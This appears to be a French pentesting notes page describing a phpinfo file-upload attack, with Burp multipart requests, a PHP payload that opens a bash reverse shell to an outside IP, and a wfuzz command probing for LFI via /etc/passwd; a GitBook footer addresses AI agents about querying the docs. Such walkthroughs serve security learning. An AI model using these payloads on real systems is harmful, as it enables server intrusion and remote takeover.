> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/file-upload-attack/file-upload-phpinfo-pentesting-web.md).

# Téléversement de fichier phpinfo

## Téléversement de fichier :

Après avoir localisé le fichier "info.php", explorez la possibilité de téléverser des fichiers sur le serveur.

<figure><img src="/files/83d0e7f0ee729057c0a62852426b0a5214b4c53e" alt=""><figcaption></figcaption></figure>

**Intercepter avec Burp Suite :** Utilisez Burp Suite pour intercepter la requête. Modifiez la méthode de "GET" en "POST".

<figure><img src="/files/fa0775f22cec1b55b0dcb6543c8f8795fdabe670" alt=""><figcaption></figcaption></figure>

#### requête pour importer un fichier texte sur le serveur :

Utilisez la structure de Burp Suite ci-dessous pour envoyer une requête de téléversement d'un fichier nommé `test.txt`:

```markup
Content-Type: multipart/form-data; boundary=--pwned
----pwned
Content-Disposition: form-data; name="name"; filename="test.txt"
Content-Type: text/plain
Ceci est un test
----pwned

```

<figure><img src="/files/c37d40d59579c416859342f7f46fb9774afe73f6" alt=""><figcaption></figcaption></figure>

**Injection de code PHP :** Essayez d'injecter du code PHP en utilisant la même structure de Burp Suite. Modifiez le contenu du fichier pour injecter la charge utile.

```markup
Content-Type: multipart/form-data; boundary=--pwned
----pwned
Content-Disposition: form-data; name="name"; filename="cmd.php"
Content-Type: text/plain
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.71.45/443 0>&1'"); ?>
----pwned

```

#### Confirmation de l'injection :

Vérifiez si l'injection a réussi en confirmant la présence du fichier "cmd.php" sur le serveur.

<figure><img src="/files/5aaa7ee190264236ba722e7dc78dc591b9111417" alt=""><figcaption></figcaption></figure>

#### Recherche LFI

Pour trouver une vulnérabilité LFI, nous utilisons l'outil wfuzz pour identifier un paramètre possible redirigeant vers un fichier PHP. La commande est la suivante :

```bash
wfuzz -c --hl=136 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.71.146/index.php?FUZZ=/etc/passwd"

```

<figure><img src="/files/e91dd2d905672947c3aa65df1a41debfca79c6d5" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2363a9aa2b7048ed6a6545dc806d54e8e5908489" alt=""><figcaption></figcaption></figure>

#### Difficulté avec le changement constant de dossier :

Malheureusement, nous n'avons pas réussi à lister le contenu du fichier cmd.php en raison du changement constant du dossier temporaire :

<figure><img src="/files/259e5e081942c792817c5951c40bb6ab92da64e5" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/file-upload-attack/file-upload-phpinfo-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
